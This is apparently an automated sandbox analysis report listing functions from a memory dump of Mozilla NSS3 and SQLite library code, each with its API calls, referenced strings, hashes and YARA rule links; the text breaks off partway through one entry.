Instruction Fuzzy Hash: 62F0C2B1A102067BEB00AF7A9C09987776CEF41269B018439E809C7B10E730E114CAE9

Function 6CD0ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CD0A6D8), ref: 6CD0AE0D
free.MOZGLUE(?), ref: 6CD0AE14
DeleteCriticalSection.KERNEL32(6CD0A6D8), ref: 6CD0AE36
free.MOZGLUE(?), ref: 6CD0AE3D
free.MOZGLUE(00000000,00000000,?,?,6CD0A6D8), ref: 6CD0AE47

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 9df085a06cce4b32c23927da9e65e1010fcde073d970fd498c04ae151a8372f0
Instruction ID: ee2c7794c14755e6a4a7b6f234926675a9d34d880672474b4f1c95cfb3b3dd9a
Opcode Fuzzy Hash: 9df085a06cce4b32c23927da9e65e1010fcde073d970fd498c04ae151a8372f0
Instruction Fuzzy Hash: 26F0F675301A01A7DA10AF68D849917777CBFC67B87104328E36E83940D731E019C7D1

Function 6CB84AC0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000B2F5), ref: 6CB84C2B

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CB84C24
winWrite2, xrefs: 6CB84C01
winWrite1, xrefs: 6CB84BC2

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winWrite1$winWrite2
API String ID: 632333372-1808655853
Opcode ID: f70f8de7c94aea2bc70b0e773a085af2dff3c70c3d7aa7c8075a7a53476b4c0f
Instruction ID: 1f74aa0f088146cbe0f75b15b2469a1b35e1d3326f937ca33125c6fd5789d233
Opcode Fuzzy Hash: f70f8de7c94aea2bc70b0e773a085af2dff3c70c3d7aa7c8075a7a53476b4c0f
Instruction Fuzzy Hash: E241D032B053459BD704CF59C890A5AB7E9EF89768F108A2AF958877A0E730D9048F82

Function 6CB97C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB97D35

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB97D13, 6CB97D1F, 6CB97D47, 6CB97D53, 6CB97D5F
%s at line %d of [%.10s], xrefs: 6CB97D2E
database corruption, xrefs: 6CB97D29

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 43019bd3165edb5925bc1dd55bd5ef4d0d9f4f117a0180335e513541b80a588e
Instruction ID: 173c2bf4d5d3ca371d180a174d1d184096e12211618f0bcc506e778b0d3ff209
Opcode Fuzzy Hash: 43019bd3165edb5925bc1dd55bd5ef4d0d9f4f117a0180335e513541b80a588e
Instruction Fuzzy Hash: 09313771E04279A7C710CF9DC8809BDB7F1EF46309B5901B6E448B7B95D2B1D841C7A0

Function 6CB86C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CB86D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB86D20
%s at line %d of [%.10s], xrefs: 6CB86D2F
database corruption, xrefs: 6CB86D2A

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 5d16fad52fcec55338b82e5c619af3809b76768e252eef409c34235588ba3d92
Instruction ID: 3f6cb986dd04671500166de6ae20d656af5a203f7ddd2b16bddbf69064566940
Opcode Fuzzy Hash: 5d16fad52fcec55338b82e5c619af3809b76768e252eef409c34235588ba3d92
Instruction Fuzzy Hash: F5210330A143559BC720CF19C841B5AB7F6EF84308F24892DD85A9BF51E771F949CBA2

Function 6CCBCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CCBCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CCBCC7B), ref: 6CCBCD7A
Part of subcall function 6CCBCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CCBCD8E
Part of subcall function 6CCBCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CCBCDA5
Part of subcall function 6CCBCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CCBCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CCBCCB5
memcpy.VCRUNTIME140(6CD514F4,6CD502AC,00000090), ref: 6CCBCCD3
memcpy.VCRUNTIME140(6CD51588,6CD502AC,00000090), ref: 6CCBCD2B

Part of subcall function 6CBD9AC0: socket.WSOCK32(?,00000017,6CBD99BE), ref: 6CBD9AE6
Part of subcall function 6CBD9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CBD99BE), ref: 6CBD9AFC

Part of subcall function 6CBE0590: closesocket.WSOCK32(6CBD9A8F,?,?,6CBD9A8F,00000000), ref: 6CBE0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CCBCCB0

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 42b02ac9b0d244d060d8c4e553679eb7848b553963abc7d97db86e4589969a3b
Instruction ID: 5a0e329119acced3591622a2e29fbb6ea9b1087abc0ae8a71681fe736ef38b38
Opcode Fuzzy Hash: 42b02ac9b0d244d060d8c4e553679eb7848b553963abc7d97db86e4589969a3b
Instruction Fuzzy Hash: BD1193F2B012409EFB009F6E9C46B473ABCA35635CF941129E61ADBB65E771D8048BD2

Function 6CC21CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CC21CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CC21CF1

Part of subcall function 6CD009D0: PR_Now.NSS3 ref: 6CD00A22
Part of subcall function 6CD009D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD00A35
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD00A66
Part of subcall function 6CD009D0: PR_GetCurrentThread.NSS3 ref: 6CD00A70
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD00A9D
Part of subcall function 6CD009D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD00AC8
Part of subcall function 6CD009D0: PR_vsmprintf.NSS3(?,?), ref: 6CD00AE8
Part of subcall function 6CD009D0: EnterCriticalSection.KERNEL32(?), ref: 6CD00B19
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00B48
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00C76
Part of subcall function 6CD009D0: PR_LogFlush.NSS3 ref: 6CD00C7E

Strings

pInitArgs = 0x%p, xrefs: 6CC21CEC
C_Initialize, xrefs: 6CC21CD3

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: 8c3b9293603901c232679f30619d6f875fec88bcb1139c5e3d82d2f1719bd351
Instruction ID: 056a54206ada020cb69b955749f3a03dac1c10c6e23bfa6a27d5d2297e3b7b9b
Opcode Fuzzy Hash: 8c3b9293603901c232679f30619d6f875fec88bcb1139c5e3d82d2f1719bd351
Instruction Fuzzy Hash: A6019235701180EFEF019F5CD948B5A33B9ABC235DF884066E60992A51EF39EC4DC791

Function 6CB7A8E0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 6CCAA480: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CCCC3A2,?,?,00000000,00000000), ref: 6CCAA528
Part of subcall function 6CCAA480: sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCAA6E0

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014576,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB7A94F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB7A939
%s at line %d of [%.10s], xrefs: 6CB7A948
database corruption, xrefs: 6CB7A943

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 4e89a9787447e3fca0ef01f7a228ee3786c995df22da8cb65f39e2de698c95be
Instruction ID: 5c60e379da3974a45c6911c907827b4567246e954764dc3ee9447935f02d17a0
Opcode Fuzzy Hash: 4e89a9787447e3fca0ef01f7a228ee3786c995df22da8cb65f39e2de698c95be
Instruction Fuzzy Hash: D9014E31F002086BD710DBA5DC15F9BB7F4DB8430DF454439EE5957A80E771E9198BA1

Function 6CC08850 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CC10715), ref: 6CC08859
PR_NewLock.NSS3 ref: 6CC08874

Part of subcall function 6CCB98D0: calloc.MOZGLUE(00000001,00000084,6CBE0936,00000001,?,6CBE102C), ref: 6CCB98E5

PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CC0888D

Strings

NSS, xrefs: 6CC08887

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPool
String ID: NSS
API String ID: 2230817933-3870390017
Opcode ID: 73e45400aa671ebae2869be1b436b35fd245f994fa935ef12cab7bbbe5136dad
Instruction ID: a3ed34ff2935c62b6e56e6cce55e97c635579d75b5d60445b4e7e46ac347948a
Opcode Fuzzy Hash: 73e45400aa671ebae2869be1b436b35fd245f994fa935ef12cab7bbbe5136dad
Instruction Fuzzy Hash: 36F09666F4162023F21027696C06F8765986F5675DF048031E90CA7B82FA53951CC3F6

Function 6CBEC9B0 Relevance: 6.1, APIs: 4, Instructions: 128stringCOMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3 ref: 6CBECB3D
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CBECB4B
sqlite3_free.NSS3 ref: 6CBECB70
sqlite3_result_error_nomem.NSS3 ref: 6CBECB99

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintfsqlite3_result_error_nomemstrlen
String ID:
API String ID: 1052848593-0
Opcode ID: c8ebab8ae4dc23640b544f51ba30d11bfb386d8f4b3bc4481af825e5eb975059
Instruction ID: 2d13c059a052b77abeed7def837bc2fe252461e7278ed5087adf13a1a47bc048
Opcode Fuzzy Hash: c8ebab8ae4dc23640b544f51ba30d11bfb386d8f4b3bc4481af825e5eb975059
Instruction Fuzzy Hash: 7251C032A08B898AD711EF34C04026FFBF4FF8ABD8F109A0DE8956A555EB348485C757

Function 6CCB4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CB985D2,00000000,?,?), ref: 6CCB4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCB500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCB50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCB50D6

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: d79a7689bb6ef117fbbdd445459f6b8114cc01a0dfd28082883b917c17e44d21
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: DB417FB2A002118FCB18CF58DCD179AB7E1BF4831871D4669D84ADBB02F775E891CB91

Function 6CD0A860 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 6CD0A690: calloc.MOZGLUE(00000001,00000044,?,?,?,?,6CD0A662), ref: 6CD0A69E
Part of subcall function 6CD0A690: PR_NewCondVar.NSS3(?), ref: 6CD0A6B4

PR_IntervalNow.NSS3 ref: 6CD0A8C6
EnterCriticalSection.KERNEL32(?), ref: 6CD0A8EB
_PR_MD_UNLOCK.NSS3(?), ref: 6CD0A944
PR_SetPollableEvent.NSS3(?), ref: 6CD0A94F

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CondCriticalEnterEventIntervalPollableSectioncalloc
String ID:
API String ID: 811965633-0
Opcode ID: d634907225d4ad0eb4f907273a5af6a42899c230cf20afef56577bcc7418eaf7
Instruction ID: 973ff49e24b8d9215c6878154bc19b390116fbb2619a7c16d1d5996be3a44d45
Opcode Fuzzy Hash: d634907225d4ad0eb4f907273a5af6a42899c230cf20afef56577bcc7418eaf7
Instruction Fuzzy Hash: BF4134B4B01A02DFC704CF29D58099AFBF5FF48318765852AE949CBB21E731E850CB90

Function 6CBF6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CBF6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CBF6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CBF6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6CD18FE0), ref: 6CBF6CFE

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: a9a3938b1719d4b9ca5ced59300364cc8d3c0177763918c7ffe0efba9f9ec743
Instruction ID: f128fb5abf1b79f2cbe20fbf0467fe5ed195894237dbc428cafba5d7c2856227
Opcode Fuzzy Hash: a9a3938b1719d4b9ca5ced59300364cc8d3c0177763918c7ffe0efba9f9ec743
Instruction Fuzzy Hash: AE31C1B5A002169FEB08CF65C891ABFBBF5EF85248B10442DDD15D7700FB31991ACBA0

Function 6CD04F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6CD04F5D
free.MOZGLUE(?), ref: 6CD04F74
free.MOZGLUE(?), ref: 6CD04F82
GetLastError.KERNEL32 ref: 6CD04F90

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 524d7fada2dd8874356256c16c7bd6977878bb592a937021da8ea046ecb7eee9
Instruction ID: 6ce79389c0d2f7c505cfadecdd95675ba494ddaa58d8cc6f7f6ae3be98832674
Opcode Fuzzy Hash: 524d7fada2dd8874356256c16c7bd6977878bb592a937021da8ea046ecb7eee9
Instruction Fuzzy Hash: BD3107B5B002099BEB01DF6DDC81FDAB7F8EF85358F044229ED15A7791DB34E90486A1

Function 6CC66DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6CC66E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC66E57

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6CC66E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6CC66EAA

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 00eb1753cf43036cef42dc78c0b741d32423383970a39e2f4a7c12cac17a6d89
Instruction ID: 952672f42272a410c5f42a53466691e7ed822aaf7d3ea608b6fedce902e6b8dc
Opcode Fuzzy Hash: 00eb1753cf43036cef42dc78c0b741d32423383970a39e2f4a7c12cac17a6d89
Instruction Fuzzy Hash: D531C171610D12EEDB141F36DE44396B7A4AB1131EF10063DD49AD6E80FB317858CB81

Function 6CC62880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6CC62896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6CC62932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC6294C
free.MOZGLUE(?), ref: 6CC62955

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
